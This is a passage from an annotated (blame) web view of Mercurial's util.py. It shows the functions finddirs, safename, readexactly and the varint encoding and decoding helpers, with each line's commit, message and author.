21e1ece30f8c util: move dirs() and finddirs() from scmutil to util Drew Gottlieb <drgott@google.com> parents: 24605 diff changeset	3540
42545 2db96bf84a8f rust-dirstate: call new "dirs" rust implementation from Python Rapha?l Gom?s <rgomes@octobus.net> parents: 42365 diff changeset	3541 if rustdirs is not None:
2db96bf84a8f rust-dirstate: call new "dirs" rust implementation from Python Rapha?l Gom?s <rgomes@octobus.net> parents: 42365 diff changeset	3542 dirs = rustdirs
2db96bf84a8f rust-dirstate: call new "dirs" rust implementation from Python Rapha?l Gom?s <rgomes@octobus.net> parents: 42365 diff changeset	3543
43076 2372284d9457 formatting: blacken the codebase Augie Fackler <augie@google.com> parents: 42782 diff changeset	3544
24635 21e1ece30f8c util: move dirs() and finddirs() from scmutil to util Drew Gottlieb <drgott@google.com> parents: 24605 diff changeset	3545 def finddirs(path):
43077 687b865b95ad formatting: byteify all mercurial/ and hgext/ string literals Augie Fackler <augie@google.com> parents: 43076 diff changeset	3546 pos = path.rfind(b'/')
24635 21e1ece30f8c util: move dirs() and finddirs() from scmutil to util Drew Gottlieb <drgott@google.com> parents: 24605 diff changeset	3547 while pos != -1:
21e1ece30f8c util: move dirs() and finddirs() from scmutil to util Drew Gottlieb <drgott@google.com> parents: 24605 diff changeset	3548 yield path[:pos]
43077 687b865b95ad formatting: byteify all mercurial/ and hgext/ string literals Augie Fackler <augie@google.com> parents: 43076 diff changeset	3549 pos = path.rfind(b'/', 0, pos)
687b865b95ad formatting: byteify all mercurial/ and hgext/ string literals Augie Fackler <augie@google.com> parents: 43076 diff changeset	3550 yield b''
24635 21e1ece30f8c util: move dirs() and finddirs() from scmutil to util Drew Gottlieb <drgott@google.com> parents: 24605 diff changeset	3551
33841 fa7e30efe05a i18n: get translation entries for description of each compression engines FUJIWARA Katsunori <foozy@lares.dti.ne.jp> parents: 33839 diff changeset	3552
20244 47d0843647d1 util: introduce util.debugstacktrace for showing a stack trace without crashing Mads Kiilerich <madski@unity3d.com> parents: 20202 diff changeset	3553 # convenient shortcut
47d0843647d1 util: introduce util.debugstacktrace for showing a stack trace without crashing Mads Kiilerich <madski@unity3d.com> parents: 20202 diff changeset	3554 dst = debugstacktrace
34554 6f11a74d489f util: add safename function for generating safe names to rename to Mark Thomas <mbthomas@fb.com> parents: 34468 diff changeset	3555
43076 2372284d9457 formatting: blacken the codebase Augie Fackler <augie@google.com> parents: 42782 diff changeset	3556
34554 6f11a74d489f util: add safename function for generating safe names to rename to Mark Thomas <mbthomas@fb.com> parents: 34468 diff changeset	3557 def safename(f, tag, ctx, others=None):
6f11a74d489f util: add safename function for generating safe names to rename to Mark Thomas <mbthomas@fb.com> parents: 34468 diff changeset	3558 """
6f11a74d489f util: add safename function for generating safe names to rename to Mark Thomas <mbthomas@fb.com> parents: 34468 diff changeset	3559 Generate a name that it is safe to rename f to in the given context.
6f11a74d489f util: add safename function for generating safe names to rename to Mark Thomas <mbthomas@fb.com> parents: 34468 diff changeset	3560
6f11a74d489f util: add safename function for generating safe names to rename to Mark Thomas <mbthomas@fb.com> parents: 34468 diff changeset	3561 f: filename to rename
6f11a74d489f util: add safename function for generating safe names to rename to Mark Thomas <mbthomas@fb.com> parents: 34468 diff changeset	3562 tag: a string tag that will be included in the new name
6f11a74d489f util: add safename function for generating safe names to rename to Mark Thomas <mbthomas@fb.com> parents: 34468 diff changeset	3563 ctx: a context, in which the new name must not exist
6f11a74d489f util: add safename function for generating safe names to rename to Mark Thomas <mbthomas@fb.com> parents: 34468 diff changeset	3564 others: a set of other filenames that the new name must not be in
6f11a74d489f util: add safename function for generating safe names to rename to Mark Thomas <mbthomas@fb.com> parents: 34468 diff changeset	3565
6f11a74d489f util: add safename function for generating safe names to rename to Mark Thomas <mbthomas@fb.com> parents: 34468 diff changeset	3566 Returns a file name of the form oldname~tag[~number] which does not exist
6f11a74d489f util: add safename function for generating safe names to rename to Mark Thomas <mbthomas@fb.com> parents: 34468 diff changeset	3567 in the provided context and is not in the set of other names.
6f11a74d489f util: add safename function for generating safe names to rename to Mark Thomas <mbthomas@fb.com> parents: 34468 diff changeset	3568 """
6f11a74d489f util: add safename function for generating safe names to rename to Mark Thomas <mbthomas@fb.com> parents: 34468 diff changeset	3569 if others is None:
6f11a74d489f util: add safename function for generating safe names to rename to Mark Thomas <mbthomas@fb.com> parents: 34468 diff changeset	3570 others = set()
6f11a74d489f util: add safename function for generating safe names to rename to Mark Thomas <mbthomas@fb.com> parents: 34468 diff changeset	3571
43077 687b865b95ad formatting: byteify all mercurial/ and hgext/ string literals Augie Fackler <augie@google.com> parents: 43076 diff changeset	3572 fn = b'%s~%s' % (f, tag)
34554 6f11a74d489f util: add safename function for generating safe names to rename to Mark Thomas <mbthomas@fb.com> parents: 34468 diff changeset	3573 if fn not in ctx and fn not in others:
6f11a74d489f util: add safename function for generating safe names to rename to Mark Thomas <mbthomas@fb.com> parents: 34468 diff changeset	3574 return fn
6f11a74d489f util: add safename function for generating safe names to rename to Mark Thomas <mbthomas@fb.com> parents: 34468 diff changeset	3575 for n in itertools.count(1):
43077 687b865b95ad formatting: byteify all mercurial/ and hgext/ string literals Augie Fackler <augie@google.com> parents: 43076 diff changeset	3576 fn = b'%s~%s~%s' % (f, tag, n)
34554 6f11a74d489f util: add safename function for generating safe names to rename to Mark Thomas <mbthomas@fb.com> parents: 34468 diff changeset	3577 if fn not in ctx and fn not in others:
6f11a74d489f util: add safename function for generating safe names to rename to Mark Thomas <mbthomas@fb.com> parents: 34468 diff changeset	3578 return fn
35754 fb0be099063f util: move 'readexactly' in the util module Boris Feld <boris.feld@octobus.net> parents: 35582 diff changeset	3579
43076 2372284d9457 formatting: blacken the codebase Augie Fackler <augie@google.com> parents: 42782 diff changeset	3580
35754 fb0be099063f util: move 'readexactly' in the util module Boris Feld <boris.feld@octobus.net> parents: 35582 diff changeset	3581 def readexactly(stream, n):
fb0be099063f util: move 'readexactly' in the util module Boris Feld <boris.feld@octobus.net> parents: 35582 diff changeset	3582 '''read n bytes from stream.read and abort if less was available'''
fb0be099063f util: move 'readexactly' in the util module Boris Feld <boris.feld@octobus.net> parents: 35582 diff changeset	3583 s = stream.read(n)
fb0be099063f util: move 'readexactly' in the util module Boris Feld <boris.feld@octobus.net> parents: 35582 diff changeset	3584 if len(s) < n:
43076 2372284d9457 formatting: blacken the codebase Augie Fackler <augie@google.com> parents: 42782 diff changeset	3585 raise error.Abort(
43117 8ff1ecfadcd1 cleanup: join string literals that are already on one line Martin von Zweigbergk <martinvonz@google.com> parents: 43106 diff changeset	3586 _(b"stream ended unexpectedly (got %d bytes, expected %d)")
43076 2372284d9457 formatting: blacken the codebase Augie Fackler <augie@google.com> parents: 42782 diff changeset	3587 % (len(s), n)
2372284d9457 formatting: blacken the codebase Augie Fackler <augie@google.com> parents: 42782 diff changeset	3588 )
35754 fb0be099063f util: move 'readexactly' in the util module Boris Feld <boris.feld@octobus.net> parents: 35582 diff changeset	3589 return s
35755 2384523cee4d util: implement varint functions Gregory Szorc <gregory.szorc@gmail.com> parents: 35754 diff changeset	3590
43076 2372284d9457 formatting: blacken the codebase Augie Fackler <augie@google.com> parents: 42782 diff changeset	3591
35755 2384523cee4d util: implement varint functions Gregory Szorc <gregory.szorc@gmail.com> parents: 35754 diff changeset	3592 def uvarintencode(value):
2384523cee4d util: implement varint functions Gregory Szorc <gregory.szorc@gmail.com> parents: 35754 diff changeset	3593 """Encode an unsigned integer value to a varint.
2384523cee4d util: implement varint functions Gregory Szorc <gregory.szorc@gmail.com> parents: 35754 diff changeset	3594
2384523cee4d util: implement varint functions Gregory Szorc <gregory.szorc@gmail.com> parents: 35754 diff changeset	3595 A varint is a variable length integer of 1 or more bytes. Each byte
2384523cee4d util: implement varint functions Gregory Szorc <gregory.szorc@gmail.com> parents: 35754 diff changeset	3596 except the last has the most significant bit set. The lower 7 bits of
2384523cee4d util: implement varint functions Gregory Szorc <gregory.szorc@gmail.com> parents: 35754 diff changeset	3597 each byte store the 2's complement representation, least significant group
2384523cee4d util: implement varint functions Gregory Szorc <gregory.szorc@gmail.com> parents: 35754 diff changeset	3598 first.
2384523cee4d util: implement varint functions Gregory Szorc <gregory.szorc@gmail.com> parents: 35754 diff changeset	3599
2384523cee4d util: implement varint functions Gregory Szorc <gregory.szorc@gmail.com> parents: 35754 diff changeset	3600 >>> uvarintencode(0)
2384523cee4d util: implement varint functions Gregory Szorc <gregory.szorc@gmail.com> parents: 35754 diff changeset	3601 '\\x00'
2384523cee4d util: implement varint functions Gregory Szorc <gregory.szorc@gmail.com> parents: 35754 diff changeset	3602 >>> uvarintencode(1)
2384523cee4d util: implement varint functions Gregory Szorc <gregory.szorc@gmail.com> parents: 35754 diff changeset	3603 '\\x01'
2384523cee4d util: implement varint functions Gregory Szorc <gregory.szorc@gmail.com> parents: 35754 diff changeset	3604 >>> uvarintencode(127)
2384523cee4d util: implement varint functions Gregory Szorc <gregory.szorc@gmail.com> parents: 35754 diff changeset	3605 '\\x7f'
2384523cee4d util: implement varint functions Gregory Szorc <gregory.szorc@gmail.com> parents: 35754 diff changeset	3606 >>> uvarintencode(1337)
2384523cee4d util: implement varint functions Gregory Szorc <gregory.szorc@gmail.com> parents: 35754 diff changeset	3607 '\\xb9\\n'
2384523cee4d util: implement varint functions Gregory Szorc <gregory.szorc@gmail.com> parents: 35754 diff changeset	3608 >>> uvarintencode(65536)
2384523cee4d util: implement varint functions Gregory Szorc <gregory.szorc@gmail.com> parents: 35754 diff changeset	3609 '\\x80\\x80\\x04'
2384523cee4d util: implement varint functions Gregory Szorc <gregory.szorc@gmail.com> parents: 35754 diff changeset	3610 >>> uvarintencode(-1)
2384523cee4d util: implement varint functions Gregory Szorc <gregory.szorc@gmail.com> parents: 35754 diff changeset	3611 Traceback (most recent call last):
2384523cee4d util: implement varint functions Gregory Szorc <gregory.szorc@gmail.com> parents: 35754 diff changeset	3612 ...
2384523cee4d util: implement varint functions Gregory Szorc <gregory.szorc@gmail.com> parents: 35754 diff changeset	3613 ProgrammingError: negative value for uvarint: -1
2384523cee4d util: implement varint functions Gregory Szorc <gregory.szorc@gmail.com> parents: 35754 diff changeset	3614 """
2384523cee4d util: implement varint functions Gregory Szorc <gregory.szorc@gmail.com> parents: 35754 diff changeset	3615 if value < 0:
43077 687b865b95ad formatting: byteify all mercurial/ and hgext/ string literals Augie Fackler <augie@google.com> parents: 43076 diff changeset	3616 raise error.ProgrammingError(b'negative value for uvarint: %d' % value)
43076 2372284d9457 formatting: blacken the codebase Augie Fackler <augie@google.com> parents: 42782 diff changeset	3617 bits = value & 0x7F
35755 2384523cee4d util: implement varint functions Gregory Szorc <gregory.szorc@gmail.com> parents: 35754 diff changeset	3618 value >>= 7
2384523cee4d util: implement varint functions Gregory Szorc <gregory.szorc@gmail.com> parents: 35754 diff changeset	3619 bytes = []
2384523cee4d util: implement varint functions Gregory Szorc <gregory.szorc@gmail.com> parents: 35754 diff changeset	3620 while value:
2384523cee4d util: implement varint functions Gregory Szorc <gregory.szorc@gmail.com> parents: 35754 diff changeset	3621 bytes.append(pycompat.bytechr(0x80 \| bits))
43076 2372284d9457 formatting: blacken the codebase Augie Fackler <augie@google.com> parents: 42782 diff changeset	3622 bits = value & 0x7F
35755 2384523cee4d util: implement varint functions Gregory Szorc <gregory.szorc@gmail.com> parents: 35754 diff changeset	3623 value >>= 7
2384523cee4d util: implement varint functions Gregory Szorc <gregory.szorc@gmail.com> parents: 35754 diff changeset	3624 bytes.append(pycompat.bytechr(bits))
2384523cee4d util: implement varint functions Gregory Szorc <gregory.szorc@gmail.com> parents: 35754 diff changeset	3625
43077 687b865b95ad formatting: byteify all mercurial/ and hgext/ string literals Augie Fackler <augie@google.com> parents: 43076 diff changeset	3626 return b''.join(bytes)
35755 2384523cee4d util: implement varint functions Gregory Szorc <gregory.szorc@gmail.com> parents: 35754 diff changeset	3627
43076 2372284d9457 formatting: blacken the codebase Augie Fackler <augie@google.com> parents: 42782 diff changeset	3628
35755 2384523cee4d util: implement varint functions Gregory Szorc <gregory.szorc@gmail.com> parents: 35754 diff changeset	3629 def uvarintdecodestream(fh):
2384523cee4d util: implement varint functions Gregory Szorc <gregory.szorc@gmail.com> parents: 35754 diff changeset	3630 """Decode an unsigned variable length integer from a stream.
2384523cee4d util: implement varint functions Gregory Szorc <gregory.szorc@gmail.com> parents: 35754 diff changeset	3631
2384523cee4d util: implement varint functions Gregory Szorc <gregory.szorc@gmail.com> parents: 35754 diff changeset	3632 The passed argument is anything that has a ``.read(N)`` method.
2384523cee4d util: implement varint functions Gregory Szorc <gregory.szorc@gmail.com> parents: 35754 diff changeset	3633
2384523cee4d util: implement varint functions Gregory Szorc <gregory.szorc@gmail.com> parents: 35754 diff changeset	3634 >>> try:
2384523cee4d util: implement varint functions Gregory Szorc <gregory.szorc@gmail.com> parents: 35754 diff changeset	3635 ... from StringIO import StringIO as BytesIO
2384523cee4d util: implement varint functions Gregory Szorc <gregory.szorc@gmail.com> parents: 35754 diff changeset	3636 ... except ImportError:
2384523cee4d util: implement varint functions Gregory Szorc <gregory.szorc@gmail.com> parents: 35754 diff changeset	3637 ... from io import BytesIO
2384523cee4d util: implement varint functions Gregory Szorc <gregory.szorc@gmail.com> parents: 35754 diff changeset	3638 >>> uvarintdecodestream(BytesIO(b'\\x00'))
2384523cee4d util: implement varint functions Gregory Szorc <gregory.szorc@gmail.com> parents: 35754 diff changeset	3639 0
2384523cee4d util: implement varint functions Gregory Szorc <gregory.szorc@gmail.com> parents: 35754 diff changeset	3640 >>> uvarintdecodestream(BytesIO(b'\\x01'))
2384523cee4d util: implement varint functions Gregory Szorc <gregory.szorc@gmail.com> parents: 35754 diff changeset	3641 1
2384523cee4d util: implement varint functions Gregory Szorc <gregory.szorc@gmail.com> parents: 35754 diff changeset	3642 >>> uvarintdecodestream(BytesIO(b'\\x7f'))
2384523cee4d util: implement varint functions Gregory Szorc <gregory.szorc@gmail.com> parents: 35754 diff changeset	3643 127
2384523cee4d util: implement varint functions Gregory Szorc <gregory.szorc@gmail.com> parents: 35754 diff changeset	3644 >>> uvarintdecodestream(BytesIO(b'\\xb9\\n'))
2384523cee4d util: implement varint functions Gregory Szorc <gregory.szorc@gmail.com> parents: 35754 diff changeset	3645 1337
2384523cee4d util: implement varint functions Gregory Szorc <gregory.szorc@gmail.com> parents: 35754 diff changeset	3646 >>> uvarintdecodestream(BytesIO(b'\\x80\\x80\\x04'))
2384523cee4d util: implement varint functions Gregory Szorc <gregory.szorc@gmail.com> parents: 35754 diff changeset	3647 65536
2384523cee4d util: implement varint functions Gregory Szorc <gregory.szorc@gmail.com> parents: 35754 diff changeset	3648 >>> uvarintdecodestream(BytesIO(b'\\x80'))
2384523cee4d util: implement varint functions Gregory Szorc <gregory.szorc@gmail.com> parents: 35754 diff changeset	3649 Traceback (most recent call last):
2384523cee4d util: implement varint functions Gregory Szorc <gregory.szorc@gmail.com> parents: 35754 diff changeset	3650 ...
2384523cee4d util: implement varint functions Gregory Szorc <gregory.szorc@gmail.com> parents: 35754 diff changeset	3651 Abort: stream ended unexpectedly (got 0 bytes, expected 1)
2384523cee4d util: implement varint functions Gregory Szorc <gregory.szorc@gmail.com> parents: 35754 diff changeset	3652 """
2384523cee4d util: implement varint functions Gregory Szorc <gregory.szorc@gmail.com> parents: 35754 diff changeset	3653 result = 0
2384523cee4d util: implement varint functions Gregory Szorc <gregory.szorc@gmail.com> parents: 35754 diff changeset	3654 shift = 0
2384523cee4d util: implement varint functions Gregory Szorc <gregory.szorc@gmail.com> parents: 35754 diff changeset	3655 while True:
2384523cee4d util: implement varint functions Gregory Szorc <gregory.szorc@gmail.com> parents: 35754 diff changeset	3656 byte = ord(readexactly(fh, 1))
43076 2372284d9457 formatting: blacken the codebase Augie Fackler <augie@google.com> parents: 42782 diff changeset	3657 result \|= (byte & 0x7F) << shift
35755 2384523cee4d util: implement varint functions Gregory Szorc <gregory.szorc@gmail.com> parents: 35754 diff changeset	3658 if not (byte & 0x80):
2384523cee4d util: implement varint functions Gregory Szorc <gregory.szorc@gmail.com> parents: 35754 diff changeset	3659 return result
2384523cee4d util: implement varint functions Gregory Szorc <gregory.szorc@gmail.com> parents: 35754 diff changeset	3660 shift += 7

Mercurial > public > mercurial-scm > hg-stable

annotate mercurial/util.py @ 43117:8ff1ecfadcd1